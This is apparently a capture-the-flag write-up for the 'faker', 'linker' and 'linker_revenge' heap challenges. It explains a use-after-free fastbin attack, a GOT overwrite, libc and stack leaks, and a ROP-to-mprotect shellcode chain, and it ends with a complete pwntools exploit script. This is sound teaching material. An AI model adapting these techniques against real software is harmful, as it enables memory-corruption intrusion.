Since faker, linker, and linker_revenge are quite similar, this writeup will cover all three.
This is the faker checksec output:
    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x3ff000)
seccomp additionally restricts syscalls to openat(),read(),write(),mprotect(),mmap()
All three executables have the same basic functionality in pseudocode:
```alloc(size):	idx = 0;	while(!buf_in_use[idx]) idx++;	if(idx >= 5) fail();	buf_in_use[idx] = true;	buf[idx] = calloc(size);	buf_size[idx] = size;
delete(idx):	free(idx);	buf_in_use[idx] = false;
edit(idx):	if(buf_in_use[idx])		read(buf[idx],buf_size[idx]);
The globals are laid out like this:
int32_t buf_size[8];uint32_t buf_in_use[8];void* buf[8];```
Note that indices 5-7 are inaccessible, the array sizes are for proper alignment.
The main differences between the three are as follows:
- faker requires that size <= 0x70 in alloc()- linker does not have seccomp- linker_revenge has a function that does puts(buf[idx])
We avoid using puts(buf[idx]), and futher restrict alloc() to size <= 0x70
We first obtain arbitrary write by overwriting the global `buf*` structures. We do this by setting buf_size[0] = 0x61 and buf_size[1] = 0 by allocating buffers to create a fake fastbin chunk of size 0x50. We then fill the tcache of size 0x50 by alloc()'ing and free()'ing a buffer of size 0x50 repeatedly. Since calloc() skips the tcache, we are effectively stashing freshly allocated chunks into the tcache. Then we allocate and free a buffer of size 0x50 which goes into the fastbin. We can then exploit a UAF in edit() to point the fd pointer to our fake chunk. We can then allocate the fake chunk.
From here we can write to `(void*)&buf_size[2]`. We overwrite buf[0] = `(void*)buf_size` to set up another write that can overwrite all of the global structures. We then use this write to set` buf_size[i] = INT_MAX`, `buf_in_use[i] = true`, and keep `buf[0] = (void*)buf_size` so we can always overwrite the global structures again for another arbitrary read/write if we need to.
We now use our arbitrary write to obtain arbitrary read by setting free()'s GOT entry to puts@PLT. If we free() a index now, it will instead puts() the contents of the buffer.
We use our arbitrary read to leak a libc pointer from the GOT, and leak the `__environ` pointer in the libc to get a pointer to the stack.
Now we deploy shellcode to a RW page, and write a ROP payload to call mprotect() to make the shellcode executable and exeucute it. Since the offset between `__environ` and the current stack pointer can be very system dependent, we need to add a "nop sled" to the ROP payload. We can do this by prepending the payload with a lot of pointers to a ret instruction, which instantly returns to the next pointer on the stack and does nothing.
The shellcode just does the following to get around seccomp:
```fd = openat(AT_FDCWD,"flag",O_RDONLY);num_read = read(fd,rsp,0x1000);write(1,rsp,num_read)```
Here is the actual assembly shellcode:
```mov rax,257mov rdi,4294967196lea rsi,[rip + filename_flag]xor rdx,rdxsyscallmov rdi,raxxor rax,raxmov rsi,rspmov rdx,0x1000syscallmov rdx,raxmov rax,1mov rdi,raxsyscallfilename_flag:.asciz "flag"```
Here is the full exploit for faker(offsets must be changed for the other ones):
```#!/usr/bin/env python3
from pwn import *import sys
#p = process("./faker")p = remote("faker.3k.ctf.to",5231)
def cmd(num):    p.recvuntil(b"> ")    p.sendline(str(num))    p.recvuntil(b":\n")
def alloc(size):    cmd(1)    p.send(str(size))    s = p.recvline()    i = s.rindex(b' ')    return int(s[i:])
def edit(idx,buf):    cmd(2)    p.sendline(str(idx))    p.recvuntil(b":\n")    p.send(buf)
def free(idx):    cmd(3)    p.sendline(str(idx))
def view(idx):    free(idx)    end_txt = "1- Get new blank page"    s = p.recvuntil(end_txt)    s = s[:-len(end_txt) - 1]    return s
ptr_rel_memcpy = 0x602068ptr_rel_free = 0x602018ptr_plt_puts = 0x4008c0ptr_fake_fast = 0x6020d8ptr_ptrs = 0x6020e0ptr_name = 0x602150ptr_pop_rsi_r15 = 0x00401121ptr_pop_rdi = 0x401123ptr_ret = 0x401124
off_memcpy = 0x18ed40off_system = 0x000000000004f4e0ptr_buf = 0x602200ptr_buf_page = 0x602000sz = 0x50
p.recvuntil(":\n")p.sendline(b'008')p.send(b"/bin/sh\x00")
for i in range(7):    alloc(sz)    free(0)
alloc(sz + 0x11)alloc(0)
alloc(sz)free(2)edit(2,p64(ptr_fake_fast))
alloc(sz)alloc(sz)edit(3,p32(0x7fffffff) * 3 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3) + p64(0) * 2 + p64(ptr_ptrs))
buf_pre = p32(0x7fffffff) * 5 + bytes(4 * 3) + p32(1) * 5 + bytes(4 * 3)edit(2,buf_pre + p64(ptr_ptrs) + p64(ptr_rel_memcpy) + p64(ptr_rel_free))
edit(2,p64(ptr_plt_puts))
ptr_memcpy = int.from_bytes(view(1),"little")ptr_libc = ptr_memcpy - off_memcpyptr_environ = ptr_libc + 0x00000000003ee098ptr_pop_rax = ptr_libc + 0x43a78ptr_pop_rdx = ptr_libc + 0x1b96ptr_syscall = ptr_libc + 0x13c0ptr_mprotect = ptr_libc + 0x000000000011bc00
print(hex(ptr_libc))
edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_environ))ptr_leak_stack = int.from_bytes(view(1),"little")
print(hex(ptr_leak_stack - 0x400))
edit(0,buf_pre + p64(ptr_ptrs) + p64(ptr_buf) + p64(ptr_leak_stack - 0x200))with open("shell","rb") as shell_f:    shellcode = shell_f.read()edit(1,shellcode)
buf = p64(ptr_ret) * (0x100 // 8)buf += p64(ptr_pop_rdi) + p64(ptr_buf_page)buf += p64(ptr_pop_rsi_r15) + p64(0x1000) + p64(0)buf += p64(ptr_pop_rdx) + p64(5)buf += p64(ptr_mprotect)buf += p64(ptr_buf)edit(2,buf)
p.interactive()```
